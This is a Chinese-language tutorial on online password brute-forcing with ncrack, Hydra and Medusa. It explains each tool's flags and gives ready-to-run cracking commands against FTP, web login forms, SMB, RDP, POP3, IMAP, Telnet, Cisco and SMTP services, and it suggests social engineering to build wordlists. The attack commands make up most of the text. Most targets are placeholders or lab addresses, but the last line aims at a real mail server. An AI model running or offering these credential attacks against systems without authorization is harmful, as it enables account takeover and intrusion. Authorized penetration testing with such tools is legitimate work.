在線密碼破解
——ncrack、Hydra、medusa、Brutus
AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
For HTTP, POP3, IMAP and SMTP, several login mechanisms like plain and MD5 digest etc. are supported.
直接上手操作,在我們不知道用戶名以及密碼的情況下爆破:
我們需要用字典生成工具生成一個字典,放在桌面上備用。
命令:ncrack –U /root/桌面/pass.txt –P /root/桌面/pass.txt ftp://000.000.000.000
解釋:-U為用戶名,后面的/root/桌面/pass.txt 為爆破字典所在位置,同樣-P為密碼,后面的/root/桌面/pass.txt 也為爆破字典所在位置。只要你的字典足夠強大,那么就是時間問題了。在組成字典的時候,要綜合運用社工等方法形成一套適合的字典。ftp后面的000.000.000.000為ftp的地址,根據自己實際情況來改動。
在我們,知道用戶名的情況下爆破:
ncrack --user 用戶名 -P /root/桌面/pass.txt ftp://000.000.000.000
解釋同上,但要注意--user是兩道杠,並且user是小寫,kali linux大小寫敏感。
用Hydra再來進行一遍一樣的實驗:
在不知用戶名以及密碼的情況下,采用自己生成的密碼爆破:
命令:hydra ftp://000.000.000.000 -L /root/桌面/pass.txt -P /root/桌面/pass.txt
在已知用戶名的情況下爆破:
命令:hydra ftp://000.000.000.000 -l 用戶名 -P /root/桌面/pass.txt
注意大小寫,小寫的l,大寫的P
最后,來介紹一下medusa的操作方法
操作命令:
medusa
-h target (ftp的地址)
-H many targets
-u 已知用戶名
-U 用戶名的字典文件
-p 已知密碼
-P 密碼的字典
-M 模式 ftp http telnet ssh
實戰命令:
已知用戶名爆破密碼:
medusa -h 000.000.000.000 -u 用戶名–P /root/桌面/pass.txt -M ftp
未知用戶名爆破密碼:
medusa -h 000.000.000.000 -U /root/桌面/pass.txt –P /root/桌面/pass.txt -M ftp
hydra
-R
繼續從上一次進度接着破解
-S
大寫,采用SSL鏈接
-s <PORT>
小寫,可通過這個參數指定非默認端口
-l <LOGIN>
指定破解的用戶,對特定用戶破解
-L <FILE>
指定用戶名字典
-p <PASS>
小寫,指定密碼破解,少用,一般是采用密碼字典
-P <FILE>
大寫,指定密碼字典
-e <ns>
可選選項,n:空密碼試探,s:使用指定用戶和密碼試探
-C <FILE>
使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數
-M <FILE>
指定目標列表文件一行一條
-o <FILE>
指定結果輸出文件
-f
在使用-M參數以后,找到第一對登錄名或者密碼的時候中止破解
-t <TASKS>
同時運行的線程數,默認為16
-w <TIME>
設置最大超時的時間,單位秒,默認是30s
-v / -V
顯示詳細過程
server
目標ip
service
指定服務名,支持的服務和協議:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
破解ftp:
# hydra ip ftp -L 用戶名字典 -P 密碼字典 -t 線程(默認16) –vV
# hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV
get方式提交,破解web登錄:
# hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip http-get /admin/
# hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get /admin/index.php
post方式提交,破解web登錄:
該軟件的強大之處就在於支持多種協議的破解,同樣也支持對於web用戶界面的登錄破解,get方式提交的表單比較簡單,這里通過post方式提交密碼破解提供思路。該工具有一個不好的地方就是,如果目標網站登錄時候需要驗證碼就無法破解了。帶參數破解如下:
<form action="index.php" method="POST">< input type="text" name="name" /><BR><br>< input type="password" name="pwd" /><br><br>< input type="submit" name="sub" value="提交">< /form>
假設有以上一個密碼登錄表單,我們執行命令:
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
說明:破解的用戶名是admin,密碼字典是pass.lst,破解結果保存在ok.lst,-t 是同時線程數為1,-f 是當破解了一個密碼就停止,ip 是本地,就是目標ip,http-post-form表示破解是采用http 的post 方式提交的表單密碼破解。
后面參數是網頁中對應的表單字段的name 屬性,后面<title>中的內容是表示錯誤猜解的返回信息提示,可以自定義。
破解https:
# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
破解teamspeak:
# hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak
破解cisco:
# hydra -P pass.txt 10.36.16.18 cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb:
# hydra -l administrator -P pass.txt 10.36.16.18 smb
破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp:
# hydra ip rdp -l administrator -P pass.txt -V
破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
破解imap:
# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
破解telnet
# hydra ip telnet -l 用戶 -P 密碼字典 -t 32 -s 23 -e ns -f -V
hydra -l admin -P /usr/share/dirb/wordlists/small.txt 192.168.1.101 http-post-form“/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:登錄失敗“-V
hydra -S -l 郵箱 -P /usr/share/wordlists/rockyou.txt -e ns -V -s 465 -t 1 smtp.ym.163.com smtp